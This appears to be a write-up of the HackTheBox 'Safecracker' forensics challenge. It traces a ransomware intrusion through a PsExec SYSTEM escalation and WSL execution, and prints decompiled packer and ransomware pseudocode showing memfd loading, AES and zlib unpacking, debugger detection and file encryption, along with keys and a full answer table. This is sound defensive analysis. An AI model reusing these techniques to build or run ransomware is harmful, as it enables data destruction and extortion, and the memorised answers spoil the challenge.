Safecracker
Description
Safecracker on HackTheBox.
We recently hired some contractors to continue the development of our Backup services hosted on a Windows server. We have provided the contractors with accounts for our domain. When our system administrator recently logged on, we found some pretty critical files encrypted and a note left by the attackers. We suspect we have been ransomwared. We want to understand how this attack happened via a full in-depth analysis of any malicious files out of our standard triage. A word of warning, our tooling didn’t pick up any of the actions carried out - this could be advanced.
Warning
This is a warning that this Sherlock includes software that is going to interact with your computer and files. This software has been intentionally included for educational purposes and is NOT intended to be executed or used otherwise. Always handle such files in isolated, controlled, and secure environments.
One the Sherlock zip has been unzipped, you will find a DANGER.txt file. Please read this to proceed.
Walkthrough
Initial Triage
The original zip file is around 1 GB in size, but after extracting it, I found the folder was around 10 GB, which is quite large.

After a quick scan of all the folders, I found PhysicalMemory.raw, which is ~9.7GB, suggesting this is a full memory dump. All the other artifacts were likely generated by Velociraptor, as shown in the log files.

Looking at the huge amount of data, I decided to use Autopsy to triage it. I created a new case and added the entire folder as evidence.

Since this challenge’s questions are not asked in chronological order, I decided to answer them in the order I found the evidence.
Evidence analysis with Autopsy
Task 1
Which user account was utilised for initial access to our company server?Using OS Accounts in Autopsy, I can see the list of user accounts that exist in the file system.

But I won’t be able to identify which account was used for the initial access just by looking at this. So I decided to find more evidence to find out which account was used for the initial access.
Using File Types in Autopsy, I found ConsoleHost_history.txt, which shows the following:
The attacker executed numerous commands such as whoami, net user, net group, etc. Most notably, the attacker entered \Users\contractor01\Contacts\ using cd and used .\PsExec64.exe -s -i cmd.exe to spawn a new command prompt with SYSTEM privileges. This suggests that initial access was likely through the contractor01 account.

Explanation - More about PsExec64.exe
PsExec is a powerful tool that allows you to execute processes on remote systems. The command .\PsExec64.exe -s -i cmd.exe is used to run the Command Prompt (cmd.exe) with SYSTEM privileges on the local machine.
PsExec64.exe -s -i cmd.exe:
-sruns the process in the SYSTEM account-iallows the process to interact with the desktop (i.e., it can show a window)cmd.exeis the command being executed, which in this case is the Command Prompt.
The answer is contractor01
Task 2
Which command did the TA utilise to escalate to SYSTEM after the initial compromise?The command used to escalate to SYSTEM is .\PsExec64.exe -s -i cmd.exe as shown in the previous screenshot.
The answer is .\PsExec64.exe -s -i cmd.exe
Task 17
What file extension does the ransomware rename files to?Since the question mentions encrypted files, the files likely have a different extension and may not be identified correctly by file-type detection. So I looked for suspicious files within the provided folder.
In .\WinServer-Collection\uploads\auto\C%3A\Users\Administrator\Downloads, this is what I found:

There are two files called Sysmon.zip.note and Sysmon.zip.31337, where .31337 is likely the encrypted file. There is also one suspicious executable called MsMpEng.exe, likely the ransomware executable, since no legitimate MsMpEng.exe should be located in the Downloads folder.
Explanation - What is MsMpEng.exe?
- MsMpEng.exe is a legitimate, core executable file for Microsoft Defender Antimalware Service, designed to protect Windows systems in real-time against malware and other security threats. However, in this context, the presence of a file named
MsMpEng.exein theDownloadsfolder is highly suspicious, as it is not a typical location (C:\Program Files\Windows Defender) for this system file. This suggests that the file may have been renamed or placed there by an attacker, potentially to disguise it as a legitimate process.
The .note file contains the ransom note, and the .31337 file is likely the encrypted file.

The answer is .31337
Task 18
What is the bitcoin address in the ransomware note?In the .note file earlier the attacker left a ransom note which contains the bitcoin address.
The answer is 16ftSEQ4ctQFDtVZiUBusQUjRrGhM3JYwe
Task 14
What compiler was used to create the malware?As mentioned earlier, there is a suspicious executable file called MsMpEng.exe in the Downloads folder, which is likely the ransomware executable. Across the provided evidence, this is the only executable file.

Using Detect It Easy to analyze the executable file, I can see that the compiler used is GCC((Debian 10.2.1-6) 10.2.1 20210110), and it’s an ELF 64-bit LSB PIE executable.
The answer is gcc
NTFS Analysis
Task 3
How many files have been encrypted by the ransomware deployment?Since the evidence includes NTFS metadata, I used MFTECmd by Eric Zimmerman to parse the MFT to .csv, then used Timeline Explorer to find how many files were encrypted by the ransomware deployment (files with the .31337 extension).
PS E:\Tools\EZTools\MFTECmd> .\MFTECmd.exe -f 'E:\HTB\Sherlock\safecracker\WinServer-Collection\uploads\ntfs\%5C%5C.%5CC%3A\$MFT' --csv . --csvf MFT.csv

The answer is 33
Analysis of MsMpEng.exe
main function
Since I know the executable is compiled with gcc and is an ELF 64-bit LSB PIE executable, I can use IDA to analyze it.

Getting the pseudocode of the main function:
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char *v3; // rax
char s[8]; // [rsp+10h] [rbp-130h] BYREF
__int64 v6; // [rsp+18h] [rbp-128h]
__int64 v7; // [rsp+20h] [rbp-120h]
__int64 v8; // [rsp+28h] [rbp-118h]
__int64 v9; // [rsp+30h] [rbp-110h]
__int64 v10; // [rsp+38h] [rbp-108h]
__int64 v11; // [rsp+40h] [rbp-100h]
__int64 v12; // [rsp+48h] [rbp-F8h]
__int64 v13; // [rsp+50h] [rbp-F0h]
__int64 v14; // [rsp+58h] [rbp-E8h]
__int64 v15; // [rsp+60h] [rbp-E0h]
__int64 v16; // [rsp+68h] [rbp-D8h]
__int64 v17; // [rsp+70h] [rbp-D0h]
__int64 v18; // [rsp+78h] [rbp-C8h]
__int64 v19; // [rsp+80h] [rbp-C0h]
__int64 v20; // [rsp+88h] [rbp-B8h]
__int64 v21; // [rsp+90h] [rbp-B0h]
__int64 v22; // [rsp+98h] [rbp-A8h]
__int64 v23; // [rsp+A0h] [rbp-A0h]
__int64 v24; // [rsp+A8h] [rbp-98h]
__int64 v25; // [rsp+B0h] [rbp-90h]
__int64 v26; // [rsp+B8h] [rbp-88h]
__int64 v27; // [rsp+C0h] [rbp-80h]
__int64 v28; // [rsp+C8h] [rbp-78h]
__int64 v29; // [rsp+D0h] [rbp-70h]
__int64 v30; // [rsp+D8h] [rbp-68h]
__int64 v31; // [rsp+E0h] [rbp-60h]
__int64 v32; // [rsp+E8h] [rbp-58h]
__int64 v33; // [rsp+F0h] [rbp-50h]
__int64 v34; // [rsp+F8h] [rbp-48h]
__int64 v35; // [rsp+100h] [rbp-40h]
__int64 v36; // [rsp+108h] [rbp-38h]
int fd; // [rsp+118h] [rbp-28h]
int errnum; // [rsp+11Ch] [rbp-24h]
void *buf; // [rsp+120h] [rbp-20h]
void *ptr; // [rsp+128h] [rbp-18h]
__int64 v41; // [rsp+130h] [rbp-10h]
size_t size; // [rsp+138h] [rbp-8h]
size = (size_t)&unk_36D920;
v41 = 1637173LL;
ptr = malloc((unsigned int)::size);
buf = malloc((size_t)&unk_36D920);
sub_3A29B(&unk_2893A0, ptr, (unsigned int)::size);
errnum = sub_3A3CB(ptr, buf, size, size);
if ( errnum < 0 )
sub_3A4AC((unsigned int)errnum);
free(ptr);
fd = memfd_create("test", 1LL);
if ( fd <= 0 )
{
printf("ERROR FD:%i\n", fd);
exit(-1);
}
errnum = write(fd, buf, errnum);
if ( errnum <= 0 )
{
v3 = strerror(errnum);
fprintf(stderr, "Error Writing: %s\n", v3);
exit(-1);
}
free(buf);
*(_QWORD *)s = 0LL;
v6 = 0LL;
v7 = 0LL;
v8 = 0LL;
v9 = 0LL;
v10 = 0LL;
v11 = 0LL;
v12 = 0LL;
v13 = 0LL;
v14 = 0LL;
v15 = 0LL;
v16 = 0LL;
v17 = 0LL;
v18 = 0LL;
v19 = 0LL;
v20 = 0LL;
v21 = 0LL;
v22 = 0LL;
v23 = 0LL;
v24 = 0LL;
v25 = 0LL;
v26 = 0LL;
v27 = 0LL;
v28 = 0LL;
v29 = 0LL;
v30 = 0LL;
v31 = 0LL;
v32 = 0LL;
v33 = 0LL;
v34 = 0LL;
v35 = 0LL;
v36 = 0LL;
sprintf(s, "/proc/self/fd/%i", fd);
execl(s, "PROGRAM", 0LL);
return 0LL;
}The main function appears to do the following:
- Allocates memory for
ptrandbufusingmalloc. - Loads embedded data into
ptrusingsub_3A29B. - Calls
sub_3A3CBto process the data inptrand store the result inbuf. - If there is an error during processing, it calls
sub_3A4AC. - Frees
ptr. - Creates an anonymous in-memory file using
memfd_createand writes the processed payloadbufinto it. - Frees
buf. - Builds a path:
/proc/self/fd/<fd>. - Executes the payload using
execlwith the path to the in-memory file.
I can rename the embedded data unk_36D920 to payload_data.
Task 8
What was the name of the memoryfd the packer used?The name of the memoryfd is test as shown in the memfd_create function.
The answer is test
Task 4
What is the name of the process that the unpacked executable runs as?According to the main function, the executable will run the in-memory file with the name PROGRAM, as shown in the pseudocode.

The answer is PROGRAM
Task 10
What compression library was used to compress the packed binary?Right after the main function comes sub_3A4AC, which is called if there is an error during payload processing.
int __fastcall sub_3A4AC(int a1)
{
if ( a1 == -3 )
return puts("ZDATA");
if ( a1 > -3 )
return puts("Unknown ERR");
if ( a1 == -5 )
return puts("ZBUF");
if ( a1 == -4 )
return puts("ZMEM");
else
return puts("Unknown ERR");
}From the error code, I can see that the compression library used is likely zlib. (Renaming the function to zlib_error)

The answer is zlib
Task 7
What was the encryption key and IV for the packer?After some renaming, I got the following:

I need to look into sub_3A29B as well as sub_3A3CB to understand how the payload is being processed.
__int64 __fastcall sub_3A3CB(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6)
{
__int64 v7; // [rsp+20h] [rbp-80h] BYREF
int v8; // [rsp+28h] [rbp-78h]
__int64 v9; // [rsp+30h] [rbp-70h]
__int64 v10; // [rsp+38h] [rbp-68h]
int v11; // [rsp+40h] [rbp-60h]
__int64 v12; // [rsp+48h] [rbp-58h]
__int64 v13; // [rsp+60h] [rbp-40h]
__int64 v14; // [rsp+68h] [rbp-38h]
__int64 v15; // [rsp+70h] [rbp-30h]
unsigned int v16; // [rsp+9Ch] [rbp-4h]
v13 = 0LL;
v14 = 0LL;
v15 = 0LL;
v9 = a3;
v8 = a3;
v7 = a1;
v12 = a4;
v11 = a4;
v10 = a2;
v16 = ((__int64 (__fastcall *)(__int64 *, __int64, const char *, __int64, __int64, __int64, __int64, __int64, __int64, __int64))sub_1D4260)(
&v7,
47LL,
"1.2.13",
112LL,
a5,
a6,
a4,
a3,
a2,
a1);
if ( !v16 )
{
v16 = sub_1D45B0(&v7, 4LL);
if ( v16 == 1 )
return v12;
}
sub_1D6850(&v7);
return v16;
}Reading the pseudocode of sub_3A3CB, it appears to be a zlib decompression function and references zlib version 1.2.13.
__int64 __fastcall sub_3A29B(__int64 a1, __int64 a2, unsigned int a3)
{
__int64 v4; // rsi
unsigned int v7; // [rsp+20h] [rbp-20h] BYREF
unsigned int v8; // [rsp+24h] [rbp-1Ch]
__int64 v9; // [rsp+28h] [rbp-18h]
void *v10; // [rsp+30h] [rbp-10h]
void *v11; // [rsp+38h] [rbp-8h]
v11 = malloc(0x20uLL);
v10 = malloc(0x10uLL);
sub_3A95D(off_418EE8[0], v11);
sub_3A95D(off_418EF0, v10);
v9 = sub_3E9A0();
if ( v9 && (v4 = sub_3E2E0(), (unsigned int)sub_3FC70(v9, v4, 0LL, v11, v10) == 1) )
{
if ( (unsigned int)sub_402D0(v9, a2, &v7, a1, a3) == 1
&& (v8 = v7, (unsigned int)sub_40AA0(v9, (int)v7 + a2, &v7) == 1) )
{
v8 += v7;
sub_3E9C0(v9);
return v8;
}
else
{
sub_3A285();
return 0LL;
}
}
else
{
sub_3A285();
return 0LL;
}
}In sub_3A29B, I can see that it copies two long variables from off_418EE8[0] and off_418EF0 to heap memory, then calls sub_3FC70 with those two variables as arguments.

sub_3FC70 apparently calls crypto library code from crypto/evp/evp_enc.c.
Checking off_418EE8 and off_418EF0 reveals two long variables, which are likely the key and IV for the encryption. I renamed sub_3A29B to decrypt_payload.


The answer is a5f41376d435dc6c61ef9ddf2c4a9543c7d68ec746e690fe391bf1604362742f:95e61ead02c32dab646478048203fd0b
Task 6
What encryption was the packer using?According to the OpenSSL Wiki, these are possible cipher families that use a 32-byte key and a 16-byte IV:
- AES-256 Family
- Camellia-256 Family
- Aria-256 Family
Guessing the algorithm directly is pretty cumbersome, so I decided to extract the payload data and try decrypting it with the key and IV I found earlier using different algorithms.
As mentioned earlier, the payload data is located at unk_36D920. Start from 2893A0 to 418EDF. Use the Export Data function in IDA to export the data to a binary file.

Using CyberChef to decrypt the payload with the key and iv I found earlier, I can see that only AES-256-CBC is able to give a valid file as output.

The answer is AES-256-CBC
Analysis of the unpacked payload
Task 15
If the malware detects a debugger, what string is printed to the screen?Checking the main function:
__int64 __fastcall main(void **a1, char **a2, char **a3, __int64 a4, __int64 a5, __int64 a6)
{
__int64 v6; // rdx
__int64 v7; // rcx
__int64 v8; // r8
__int64 v9; // r9
void *v11; // [rsp+0h] [rbp-38h] BYREF
__int64 v12; // [rsp+8h] [rbp-30h]
const char *v13; // [rsp+10h] [rbp-28h]
__int64 v14; // [rsp+18h] [rbp-20h]
__int64 v15; // [rsp+20h] [rbp-18h]
__int64 v16; // [rsp+28h] [rbp-10h]
v11 = &unk_36DFC0;
v13 = "daV324982S3bh2";
v12 = 0LL;
v14 = 14LL;
v15 = 0LL;
v16 = 0LL;
if ( (unsigned int)sub_4ADD8() )
goto LABEL_2;
if ( (unsigned int)sub_4AA3D(a1, a2, v6, v7, v8, v9, v11, v12, v13, v14, v15, v16) )
goto LABEL_2;
a1 = (void **)(byte_9 + 2);
raise(11);
if ( (unsigned int)sub_4A3B5() )
goto LABEL_2;
a1 = &v11;
if ( (unsigned int)sub_4A3F6(&v11) )
goto LABEL_2;
raise(11);
puts("Running update, testing update endpoints");
a1 = &v11;
if ( (unsigned int)sub_4AB00(&v11)
|| (a2 = (char **)&v11, a1 = (void **)"/mnt/c/Users", (unsigned int)sub_4AC39("/mnt/c/Users", &v11))
|| (raise(11), sub_4A8F6(&v11), a1 = &v11, (unsigned int)sub_4A5C1(&v11)) )
{
LABEL_2:
sub_28164A(a1, a2);
}
raise(11);
puts("-----------------------------------------");
puts("Configuration Successful\nYou can now connect to the Corporate VPN");
return 0LL;
}sub_4ADD8 is the first function called. So I will inspect this function first.
__int64 sub_4ADD8()
{
__sigset_t *p_sa_mask; // rdi
__int64 i; // rcx
struct sigaction act; // [rsp+8h] [rbp-A0h] BYREF
if ( (unsigned int)sub_4AD2C() )
{
puts("*******DEBUGGED********");
}
else
{
p_sa_mask = &act.sa_mask;
for ( i = 36LL; i; --i )
{
LODWORD(p_sa_mask->__val[0]) = 0;
p_sa_mask = (__sigset_t *)((char *)p_sa_mask + 4);
}
act.sa_flags = 4;
act.sa_handler = (__sighandler_t)sub_4ACFE;
if ( sigaction(11, &act, 0LL) == -1 )
_exit(1);
}
return 0LL;
}This function calls sub_4AD2C and prints *******DEBUGGED******** if that function returns true. So I inspected sub_4AD2C as well.
int sub_4AD2C()
{
FILE *v0; // rax
FILE *v1; // rbx
char *v2; // rdi
char *v4; // rdi
char *v5; // [rsp+0h] [rbp-408h] BYREF
char s[1024]; // [rsp+8h] [rbp-400h] BYREF
v5 = 0LL;
v0 = fopen("/proc/self/status", "r");
if ( v0 )
{
v1 = v0;
while ( fgets(s, 990, v1) )
{
v2 = strstr(s, "TracerPid");
if ( v2 )
{
if ( strtok_r(v2, ":", &v5) )
{
v4 = strtok_r(0LL, ":", &v5);
if ( v4 )
return atoi(v4);
}
return -1;
}
}
}
else
{
fclose(0LL);
}
return -1;
}This function checks TracerPid in /proc/self/status to determine whether the process is being traced by a debugger. If it is being traced, it returns the PID of the tracer; otherwise, it returns 0. I renamed the function to is_debugged for clarity, and renamed sub_4ADD8 to debug_check.
So if the malware detects a debugger, it will print *******DEBUGGED******** to the screen.
The answer is *******DEBUGGED********
Task 11
The binary appears to check for a debugger, what file does it check to achieve this?As mentioned in the previous question, the function sub_4AD2C is checking the TracerPid in the /proc/self/status file to check if the process is being traced by a debugger.
The answer is /proc/self/status
Task 19
What string does the binary look for when looking for a debugger?The binary looks for the string TracerPid when looking for a debugger in the /proc/self/status file.
The answer is TracerPid
Task 9
What was the target directory for the ransomware?There is a string "/mnt/c/Users" in the main function, used as an argument to sub_4AC39.
__int64 __fastcall sub_4AC39(const char *a1, __int64 a2)
{
DIR *v2; // rbp
struct dirent *v3; // rbx
unsigned __int8 d_type; // al
char v6[4152]; // [rsp+0h] [rbp-1038h] BYREF
v2 = opendir(a1);
if ( !v2 )
return 1LL;
while ( 1 )
{
v3 = readdir(v2);
if ( !v3 )
break;
raise(11);
snprintf(v6, 0x1000uLL, "%s/%s", a1, v3->d_name);
d_type = v3->d_type;
if ( d_type == 4 )
{
if ( !(unsigned int)sub_4ABF9(v3->d_name) )
sub_4AC39(v6, a2);
}
else if ( d_type == 8 )
{
if ( (unsigned int)sub_4AB61(v6) )
sub_4A955(a2, v6);
}
}
closedir(v2);
return 0LL;
}This function uses opendir and readdir to recursively traverse the directory specified by a1, then checks whether each filename matches criteria via sub_4AB61. If it matches, it calls sub_4A955 with the file path.
The answer is /mnt/c/Users
Task 21
What system call is utilised by the binary to list the files within the targeted directories?The binary uses the readdir system call to list the files within the targeted directories as shown in the sub_4AC39 function.
According to this link, readdir is just a wrapper around the getdents system call.
The answer is getdents64
Task 5
What is the XOR key used for the encrypted strings?__int64 __fastcall sub_4AB61(char *haystack)
{
const char *v1; // r15
int v2; // ebx
int v3; // r13d
size_t v4; // rax
unsigned __int64 v5; // rcx
v1 = aJ;
v2 = 0;
v3 = dword_368484;
while ( 1 )
{
if ( v3 <= v2 )
return 0LL;
v4 = strlen(v1);
v5 = 0LL;
while ( v4 != v5 )
{
needle[v5] = v1[v5] ^ aDav324982s3bh2[v5 % 0xE];
if ( v4 < ++v5 )
goto LABEL_7;
}
needle[v4] = 0;
LABEL_7:
v1 += 8;
if ( strstr(haystack, needle) )
return 1LL;
++v2;
}
}The function sub_4AB61 checks whether the filename contains any of the strings in the aJ array after XORing them with aDav324982s3bh2.

The answer is daV324982S3bh2
Task 22
Which system call is used to delete the original files?Continue to sub_4A5C1.
__int64 __fastcall sub_4A5C1(__int64 a1)
{
const char **v1; // rbx
FILE *v2; // rbp
FILE *v3; // r12
size_t v4; // rax
int v5; // eax
FILE *v6; // r15
size_t v7; // rsi
void *v8; // r14
__int64 v9; // rax
int v10; // eax
unsigned int ptr; // [rsp+10h] [rbp-468h]
size_t v13; // [rsp+18h] [rbp-460h]
__int64 v14; // [rsp+18h] [rbp-460h]
char v15[256]; // [rsp+20h] [rbp-458h] BYREF
char filename[256]; // [rsp+120h] [rbp-358h] BYREF
_BYTE v17[256]; // [rsp+220h] [rbp-258h] BYREF
_BYTE v18[344]; // [rsp+320h] [rbp-158h] BYREF
v1 = *(const char ***)(a1 + 32);
while ( v1 )
{
v2 = fopen(*v1, "rb");
if ( v2 )
{
snprintf(v15, 0x100uLL, "%s.31337", *v1);
snprintf(filename, 0x100uLL, "%s.note", *v1);
v3 = fopen(v15, "wb");
if ( v3 )
{
while ( 1 )
{
v4 = fread(v17, 1uLL, 0x100uLL, v2);
if ( (int)v4 <= 0 )
break;
v13 = v4;
raise(11);
v5 = sub_4A47D(v17, v13, *(_QWORD *)(a1 + 40), *(_QWORD *)(a1 + 40) + 33LL);
if ( v5 < 0 )
{
fclose(v2);
fclose(v3);
break;
}
fwrite(v18, 1uLL, v5, v3);
}
v6 = fopen(filename, "wb");
if ( v6 )
{
v7 = (int)sub_4AE53();
v8 = calloc(1uLL, v7);
v14 = *(_QWORD *)(a1 + 40);
ptr = sub_4AE53();
v9 = sub_4AE4B();
v10 = sub_4A523(v9, ptr, v14, v14 + 33, v8);
fwrite(v8, 1uLL, v10, v6);
fclose(v6);
free(v8);
fclose(v2);
fclose(v3);
if ( remove(*v1) )
fputs("Failed to delete original file", stderr);
v1 = (const char **)v1[1];
}
}
else
{
fclose(v2);
}
}
}
return 0LL;
}In this function, after encrypting the file and writing the encrypted content to a new file with the .31337 extension, it will call remove(*v1) to delete the original file.
According to this link, remove calls the unlink system call to delete the file.
The answer is unlink
Task 12
What exception does the binary raise?Across the entire pseudocode of the unpacked payload, there are multiple calls to raise(11), which raises the SIGSEGV signal.
The answer is SIGSEGV
Task 13
Out of this list, what extension is not targeted by the malware? .pptx,.pdf,.tar.gz,.tar,.zip,.exe,.mp4,.mp3The malware is targeting files with the following extensions as shown in the aJ array. Extract the strings from the aJ array and XOR them with the key daV324982S3bh2 to get the targeted extensions.


The list of targeted extensions are:
.pdf .docx .ppt .pptx .doc .zip .jpg .png .gif .mp3 .mp4 .mov .tar.gz .tar
The answer is .exe
Task 16
What is the contents of the .comment section?Using readelf to read the contents of the .comment section in the unpacked payload:
readelf -p .comment mal.elf
String dump of section '.comment':
[ 0] GCC: (Debian 10.2.1-6) 10.2.1 2021011The answer is GCC: (Debian 10.2.1-6) 10.2.1 20210110
Task 20
It appears that the attacker has bought the malware strain from another hacker, what is their handle?Using strings on the payload data, I searched for gcc since the malware is compiled with gcc, and I suspected the folder name or filename might contain the original author’s handle. I found it.

The answer is blitztide
Post Analysis
During the analysis, the packer and the malware were both ELF binaries, but this is a Windows environment! At first I was really confused, but then I realised that the attacker is likely using WSL to run the malware on the Windows server, which explains why the binaries are in ELF format and why the target directory is /mnt/c/Users. So I checked the evidence again and found this.

Another ConsoleHost_history.txt revealed that after getting initial access, the attacker escalated privileges to SYSTEM, then installed WSL and ran the malware from there.
A very interesting and unique approach to running malware on Windows using WSL. Definitely a technique worth remembering for future engagements!
Question and Answer
| Task | Question | Answer |
|---|---|---|
| 1 | Which user account was utilised for initial access to our company server? | contractor01 |
| 2 | Which command did the TA utilise to escalate to SYSTEM after the initial compromise? | .\PsExec64.exe -s -i cmd.exe |
| 3 | How many files have been encrypted by the ransomware deployment? | 33 |
| 4 | What is the name of the process that the unpacked executable runs as? | PROGRAM |
| 5 | What is the XOR key used for the encrypted strings? | daV324982S3bh2 |
| 6 | What encryption was the packer using? | AES-256-CBC |
| 7 | What was the encryption key and IV for the packer? | a5f41376d435dc6c61ef9ddf2c4a9543c7d68ec746e690fe391bf1604362742f:95e61ead02c32dab646478048203fd0b |
| 8 | What was the name of the memoryfd the packer used? | test |
| 9 | What was the target directory for the ransomware? | /mnt/c/Users |
| 10 | What compression library was used to compress the packed binary? | zlib |
| 11 | The binary appears to check for a debugger, what file does it check to achieve this? | /proc/self/status |
| 12 | What exception does the binary raise? | SIGSEGV |
| 13 | Out of this list, what extension is not targeted by the malware? .pptx,.pdf,.tar.gz,.tar,.zip,.exe,.mp4,.mp3 | .exe |
| 14 | What compiler was used to create the malware? | gcc |
| 15 | If the malware detects a debugger, what string is printed to the screen? | *******DEBUGGED******** |
| 16 | What is the contents of the .comment section? | GCC: (Debian 10.2.1-6) 10.2.1 20210110 |
| 17 | What file extension does the ransomware rename files to? | .31337 |
| 18 | What is the bitcoin address in the ransomware note? | 16ftSEQ4ctQFDtVZiUBusQUjRrGhM3JYwe |
| 19 | What string does the binary look for when looking for a debugger? | TracerPid |
| 20 | It appears that the attacker has bought the malware strain from another hacker, what is their handle? | blitztide |
| 21 | What system call is utilised by the binary to list the files within the targeted directories? | getdents64 |
| 22 | Which system call is used to delete the original files? | unlink |
MITRE ATT&CK
| Observed Activity | ATT&CK Tactic | ATT&CK Technique |
|---|---|---|
Initial access appears to have used the contractor01 domain account. | Initial Access | T1078.002 - Valid Accounts: Domain Accounts |
The attacker ran whoami during host triage. | Discovery | T1033 - System Owner/User Discovery |
The attacker ran net user to enumerate accounts. | Discovery | T1087.001 - Account Discovery: Local Account |
The attacker ran net group to enumerate available groups. | Discovery | T1069.002 - Permission Groups Discovery: Domain Groups |
.\PsExec64.exe -s -i cmd.exe was used to launch a SYSTEM shell. | Execution | T1569.002 - System Services: Service Execution |
| After escalating to SYSTEM, the attacker installed and abused WSL to execute Linux ELF malware from the Windows host. | Execution | T1202 - Indirect Command Execution |
The ransomware executable was disguised as MsMpEng.exe in the user’s Downloads folder. | Defense Evasion | T1036.005 - Masquerading: Match Legitimate Resource Name or Location |
The packer decrypted the embedded payload and executed it from an anonymous memfd via /proc/self/fd/<fd>. | Defense Evasion | T1620 - Reflective Code Loading |
The payload checked /proc/self/status for TracerPid to detect a debugger. | Defense Evasion | T1622 - Debugger Evasion |
The ransomware recursively traversed /mnt/c/Users to identify files matching targeted extensions. | Discovery | T1083 - File and Directory Discovery |
The malware encrypted victim files, renamed them with the .31337 extension, and dropped ransom notes. | Impact | T1486 - Data Encrypted for Impact |
After writing encrypted copies, the malware deleted the original files with remove/unlink. | Defense Evasion | T1070.004 - Indicator Removal: File Deletion |